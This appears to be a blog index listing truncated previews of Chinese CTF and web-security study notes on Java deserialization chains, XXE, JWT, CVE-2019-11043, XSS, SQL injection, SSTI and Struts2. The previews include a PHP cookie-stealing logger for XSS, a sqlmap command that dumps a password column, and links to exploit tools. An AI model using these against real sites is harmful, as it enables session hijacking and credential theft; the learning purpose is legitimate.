什么是CC链 CC(Common Collections)是Java中常用的集合框架之一,它提供了一组常见的容器类,如ArrayList、HashMap等。然而,CC链(CC chain)是指利用Common Collections框架中的漏洞来构建的一种攻击链。 CC1 https://www.bilibili.com/video/BV1no4y1U7E1?t=690.4 java版本:8u65 既然都是cc链了,肯定要有cc依赖,cc版本是3.2.1 依赖: <dependencies> <!-- https://mvnrepository.com/artifact/com
前言 学习视频从这里开始看: * 第一部分:https://www.bilibili.com/video/BV16h411z7o9?t=1105.7&p=2 * 第二部分:https://www.bilibili.com/video/BV16h411z7o9?t=1180.1 快捷键 这里有几个快捷键,可以记忆一下。 比如说查看结构:alt+7 查看层次结构:ctrl + H URLDNS 链子构建 代码分析 URL有继承Serializable就证明他是可以被序列化的: 而且需要使用一个较为常见的函数hashCode: 调用了handler的hashCode函数, 其中的
知识了解 可以参考这个: https://blog.csdn.net/hk41666/article/details/125832666 https://blog.csdn.net/weixin_44420143/article/details/118721145 XXE(XML外部实体注入)是一种针对XML文档的攻击方式,能够使攻击者利用XML解析器的漏洞读取本地文件或者远程请求。 XXE攻击的原理是: * XML文档可以包含DOCTYPE定义,里面可以引用外部实体。 * XML解析器在解析文档时,会根据DOCTYPE中的引用去获取外部资源。 * 攻击者可以构造恶意的外部实体引用,
知识 https://xz.aliyun.com/t/2338 jwt格式如下: header.payload.signature * Header 通常由两部分组成:token类型和哈希算法,例如: {"typ": "JWT", "alg": "HS256"} * Payload 负载,存放有效信息的地方,比如用户ID,用户名等。它也可以存放私有数据。 * Signature 签名,是对前两部分数据签名,防止数据篡改。它由 header 和 payload 使用算法生成,例如 HMAC-SHA256。 标准中注册的声明
题前准备 简单了解下node.js,我对他的了解就是写过一点点的electron,然后就是老用npm来补网易云的一些插件XD。 语言特性了解: https://f1veseven.github.io/2022/04/03/ctf-nodejs-zhi-yi-xie-xiao-zhi-shi/ 后面几个重量级的暂时先学会利用,等语言熟悉了再跟着复现。 web334 文件读取,rce拼接bypass 下载并解压相关代码: module.exports = { items: [ {username: 'CTFSHOW', password: '123456'} ] };
web311 CVE-2019-11043远程代码执行漏洞 抓包,版本7.1.33。 这个复现得需要go环境,装一下: sudo apt install golang git clone https://github.com/neex/phuip-fpizdam.git cd phuip-fpizdam go get -v && go build 执行go get -v && go build会一直没反应 因为go proxy默认为proxy.golang.org,国内无法访问 执行命令换代理:go env -w GOPROXY=https://goproxy.cn 再次执行go get
提前准备 准备几个XSS注入网站: 如https://xsshs.cn/,https://xss.pt/,http://xsscom.com去生成xss链接 当然,除此之外,也可以自己编写: <?php $cookie = $_GET['cookie']; $log = fopen("cookie.txt", "a"); fwrite($log, $cookie . "\n"); fclose($log); ?> web316 后台bot会自动访问你的连接,我们只需要写一段恶意XSS内容即可。 这里用https://xss.pt/进行复现。 注册好后,创建项目之后,把获取cookie添加上
web301-302 上来就是登录页面,看了代码发现没有过滤,尝试使用sqlmap直接开注入。 $sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;"; sqlmap -u http://e870d81c-dd88-4dc4-b990-760221d286bb.challenge.ctf.show/checklogin.php --data 'userid=1&userpwd=1' -D sds -C sds_password --dump --ba
本文中所有{ {、{ %,其余同理中本来应该没有空格,但是由于与Nunjunks语法碰撞,因此修改。 https://blog.csdn.net/q20010619/article/details/120493997 代码块: 变量块 { {} } 用于将表达式打印到模板输出 注释块 {##} 注释 控制块 { %% } 可以声明变量,也可以执行语句 行声明 ## 可以有和{ %% }相同的效果 常用方法: __class__ 查看对象所在的类 __mro__ 查看继承关系和调用顺序,返回元组 __base__ 返
https://blog.csdn.net/q20010619/article/details/120729447 这里面的漏洞都是struts2漏洞,使用 建议下载Struts2scan工具辅助学习。 https://github.com/HatBoy/Struts2-Scan.git https://github.com/shack2/Struts2VulsTools * 通过页面回显的错误消息来判断,页面不回显错误消息时则无效 * 通过网页后缀来判断,如.do .action,有可能不准 * 如果配置文件中常数extension的值以逗号结尾或者有空值,指明了action可以不